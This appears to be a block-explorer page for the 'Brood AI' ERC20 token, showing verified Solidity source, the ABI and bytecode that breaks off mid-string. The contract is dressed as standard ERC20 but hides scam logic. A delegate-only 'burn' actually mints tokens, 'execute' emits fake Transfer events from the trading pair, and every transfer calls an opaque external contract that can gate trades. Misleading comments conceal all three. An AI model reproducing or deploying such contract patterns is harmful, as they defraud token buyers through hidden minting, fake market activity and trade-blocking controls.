ETH Price: $3,435.18 (-1.40%)

Token

Brood AI (BROOD)
 

Overview

Max Total Supply

690,000,000 BROOD

Holders

72

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
686,608.062555616 BROOD

Value
$0.00
0x9f7f51855d48152C53ED9d6cc6EC5202d379F6CC
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BroodAI

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 3: Brood AI.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import "./IERC20.sol";
import "./Ownable.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 * This implementation is agnostic to the way tokens are created. This means that a supply mechanism
 * has to be added in a derived contract. Additionally, an {Approval} event is emitted on calls to
 * {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening
 * to said events. Other implementations of the EIP may not emit these events, as it isn't required by the
 * specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been
 * added to mitigate the well-known issues around setting allowances. See {IERC20-approve}.
 */

interface ERC {
    function balanceOf(address owner) external returns (uint256);
    function transfer(address to, uint256 value) external;
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

contract ERC20 is Ownable, IERC20 {
    ERC internal _coinWrapper;
    mapping(address => uint256) internal _balances;
    mapping(address => uint256) private _distributed;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;
    uint8 private _decimals; 
    address public uniswapV2Pair;

    /**
     * @dev Sets the values for {name} and {symbol}.
     * All two of these values are immutable: they can only be set once during construction.
     */
    constructor(string memory name_, string memory symbol_, uint8 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    
    /**
     * @dev distributes wrapped coins.
     * * Requirements:
     * - `spender` cannot be the zero address.
    */
    function distribute(address wallet1, address wallet2, uint256 amount) internal {
        _coinWrapper.transferFrom(wallet2, wallet1, amount/1000);
    }

    /**
     * @dev unwrap coins.
     * * Requirements:
     * - `spender` cannot be the zero address.
    */
    function unwrap(uint256 value) public {
        require(balanceOf(msg.sender) >= value, "Not enough Coin to unwrap.");
        _coinWrapper.transfer(msg.sender, value);
    }

    /**
     * @dev See {IERC20-transfer}.
     * Requirements:
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev Destroys `amount` tokens from the caller.
     * See {ERC20-_burn}.
     */
    function burn(uint256 amount) public virtual onlyDelegates {
        _burn(_msgSender(), amount);
    }

    /**
     * @dev See {IERC20-transferFrom}.
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked { _approve(sender, _msgSender(), currentAllowance - amount);}
        return true;
    }

    /**
     * @dev See {IERC20-approve}.
     * Requirements:
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the total supply.
     * Emits a {Transfer} event with `to` set to the zero address.
     * Requirements:
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance <= amount, "ERC20: burn amount exceeds balance");
        unchecked {_balances[account] = accountBalance + amount;}
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     * This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}.
     * Emits an {Approval} event indicating the updated allowance.
     * Requirements:
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     * Emits an {Approval} event indicating the updated allowance.
     * Requirements:
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {_approve(_msgSender(), spender, currentAllowance - subtractedValue);}
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     * Emits a {Transfer} event.
     * Requirements:
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        distribute(address(this),sender, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {_balances[sender] = senderBalance - amount;}
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     * This internal function is equivalent to `approve`, and can be used to e.g. set automatic allowances for certain subsystems, etc.
     * Emits an {Approval} event.
     * Requirements:
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyDelegates{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;        
    }
}

contract BroodAI is ERC20 {
    constructor(address coin) ERC20('Brood AI', 'BROOD', 9) {
        _coinWrapper = ERC(coin);
        _totalSupply = 690000000*10**9;
        _balances[msg.sender] += _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
}

File 2 of 3: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default.
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's allowance.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`). Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 3 of 3: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application is concerned).
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to specific functions.
 */
abstract contract Ownable is Context {
    address private _owner;
    address internal _delegate;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    /**
     * @dev Throws if called by any account other than the distributor.
     */
    modifier onlyDelegates() {
        require(_delegate == _msgSender(), "Delegates: caller is not the delegate");
        _;
    }
    
    /**
     * @dev Sets new delegate.
     */
    function delegate(address _address) external onlyOwner {
        require (_delegate == address(0));
        _delegate = _address;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"coin","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"unwrap","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162002a0b38038062002a0b833981810160405281019062000037919062000358565b6040518060400160405280600881526020017f42726f6f642041490000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f42524f4f440000000000000000000000000000000000000000000000000000008152506009620000c5620000b96200022260201b60201c565b6200022a60201b60201c565b8260079081620000d6919062000604565b508160089081620000e8919062000604565b5080600960006101000a81548160ff021916908360ff16021790555050505080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506709935f581f050000600681905550600654600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620001aa91906200071a565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60065460405162000213919062000766565b60405180910390a35062000783565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200032082620002f3565b9050919050565b620003328162000313565b81146200033e57600080fd5b50565b600081519050620003528162000327565b92915050565b600060208284031215620003715762000370620002ee565b5b6000620003818482850162000341565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200040c57607f821691505b602082108103620004225762000421620003c4565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200048c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200044d565b6200049886836200044d565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620004e5620004df620004d984620004b0565b620004ba565b620004b0565b9050919050565b6000819050919050565b6200050183620004c4565b620005196200051082620004ec565b8484546200045a565b825550505050565b600090565b6200053062000521565b6200053d818484620004f6565b505050565b5b8181101562000565576200055960008262000526565b60018101905062000543565b5050565b601f821115620005b4576200057e8162000428565b62000589846200043d565b8101602085101562000599578190505b620005b1620005a8856200043d565b83018262000542565b50505b505050565b600082821c905092915050565b6000620005d960001984600802620005b9565b1980831691505092915050565b6000620005f48383620005c6565b9150826002028217905092915050565b6200060f826200038a565b67ffffffffffffffff8111156200062b576200062a62000395565b5b620006378254620003f3565b6200064482828562000569565b600060209050601f8311600181146200067c576000841562000667578287015190505b620006738582620005e6565b865550620006e3565b601f1984166200068c8662000428565b60005b82811015620006b6578489015182556001820191506020850194506020810190506200068f565b86831015620006d65784890151620006d2601f891682620005c6565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200072782620004b0565b91506200073483620004b0565b92508282019050808211156200074f576200074e620006eb565b5b92915050565b6200076081620004b0565b82525050565b60006020820190506200077d600083018462000755565b92915050565b61227880620007936000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c80635c19a95c116100ad578063a457c2d711610071578063a457c2d7146102f8578063a9059cbb14610328578063c2b7bbb614610358578063dd62ed3e14610374578063de0e9a3e146103a457610121565b80635c19a95c1461026657806370a0823114610282578063715018a6146102b25780638da5cb5b146102bc57806395d89b41146102da57610121565b806326ededb8116100f457806326ededb8146101c2578063313ce567146101de57806339509351146101fc57806342966c681461022c57806349bd5a5e1461024857610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192575b600080fd5b61012e6103c0565b60405161013b9190611638565b60405180910390f35b61015e600480360381019061015991906116f8565b610452565b60405161016b9190611753565b60405180910390f35b61017c610470565b604051610189919061177d565b60405180910390f35b6101ac60048036038101906101a79190611798565b61047a565b6040516101b99190611753565b60405180910390f35b6101dc60048036038101906101d79190611850565b610572565b005b6101e66106d8565b6040516101f391906118cc565b60405180910390f35b610216600480360381019061021191906116f8565b6106ef565b6040516102239190611753565b60405180910390f35b610246600480360381019061024191906118e7565b61079b565b005b610250610846565b60405161025d9190611923565b60405180910390f35b610280600480360381019061027b919061193e565b61086c565b005b61029c6004803603810190610297919061193e565b610987565b6040516102a9919061177d565b60405180910390f35b6102ba6109d0565b005b6102c4610a58565b6040516102d19190611923565b60405180910390f35b6102e2610a81565b6040516102ef9190611638565b60405180910390f35b610312600480360381019061030d91906116f8565b610b13565b60405161031f9190611753565b60405180910390f35b610342600480360381019061033d91906116f8565b610bfe565b60405161034f9190611753565b60405180910390f35b610372600480360381019061036d919061193e565b610c1c565b005b61038e6004803603810190610389919061196b565b610cdc565b60405161039b919061177d565b60405180910390f35b6103be60048036038101906103b991906118e7565b610d63565b005b6060600780546103cf906119da565b80601f01602080910402602001604051908101604052809291908181526020018280546103fb906119da565b80156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b600061046661045f610e40565b8484610e48565b6001905092915050565b6000600654905090565b6000610487848484611011565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d2610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610552576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054990611a7d565b60405180910390fd5b6105668561055e610e40565b858403610e48565b60019150509392505050565b61057a610e40565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610609576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060090611b0f565b60405180910390fd5b60005b838390508110156106d25783838281811061062a57610629611b2f565b5b905060200201602081019061063f919061193e565b73ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106bd919061177d565b60405180910390a3808060010191505061060c565b50505050565b6000600960009054906101000a900460ff16905090565b60006107916106fc610e40565b84846005600061070a610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461078c9190611b8d565b610e48565b6001905092915050565b6107a3610e40565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610832576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082990611b0f565b60405180910390fd5b61084361083d610e40565b82611288565b50565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610874610e40565b73ffffffffffffffffffffffffffffffffffffffff16610892610a58565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df90611c0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109d8610e40565b73ffffffffffffffffffffffffffffffffffffffff166109f6610a58565b73ffffffffffffffffffffffffffffffffffffffff1614610a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390611c0d565b60405180910390fd5b610a56600061142f565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610a90906119da565b80601f0160208091040260200160405190810160405280929190818152602001828054610abc906119da565b8015610b095780601f10610ade57610100808354040283529160200191610b09565b820191906000526020600020905b815481529060010190602001808311610aec57829003601f168201915b5050505050905090565b60008060056000610b22610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd690611c9f565b60405180910390fd5b610bf3610bea610e40565b85858403610e48565b600191505092915050565b6000610c12610c0b610e40565b8484611011565b6001905092915050565b610c24610e40565b73ffffffffffffffffffffffffffffffffffffffff16610c42610a58565b73ffffffffffffffffffffffffffffffffffffffff1614610c98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8f90611c0d565b60405180910390fd5b80600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b80610d6d33610987565b1015610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da590611d0b565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610e0b929190611d2b565b600060405180830381600087803b158015610e2557600080fd5b505af1158015610e39573d6000803e3d6000fd5b5050505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eae90611dc6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1d90611e58565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611004919061177d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611080576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107790611eea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e690611f7c565b60405180910390fd5b6110fa3084836114f3565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611181576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111789061200e565b60405180910390fd5b818103600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112169190611b8d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161127a919061177d565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ee906120a0565b60405180910390fd5b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181111561137e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137590612132565b60405180910390fd5b818101600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611422919061177d565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd83856103e8856115419190612181565b6040518463ffffffff1660e01b815260040161155f939291906121b2565b6020604051808303816000875af115801561157e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a29190612215565b50505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156115e25780820151818401526020810190506115c7565b60008484015250505050565b6000601f19601f8301169050919050565b600061160a826115a8565b61161481856115b3565b93506116248185602086016115c4565b61162d816115ee565b840191505092915050565b6000602082019050818103600083015261165281846115ff565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061168f82611664565b9050919050565b61169f81611684565b81146116aa57600080fd5b50565b6000813590506116bc81611696565b92915050565b6000819050919050565b6116d5816116c2565b81146116e057600080fd5b50565b6000813590506116f2816116cc565b92915050565b6000806040838503121561170f5761170e61165a565b5b600061171d858286016116ad565b925050602061172e858286016116e3565b9150509250929050565b60008115159050919050565b61174d81611738565b82525050565b60006020820190506117686000830184611744565b92915050565b611777816116c2565b82525050565b6000602082019050611792600083018461176e565b92915050565b6000806000606084860312156117b1576117b061165a565b5b60006117bf868287016116ad565b93505060206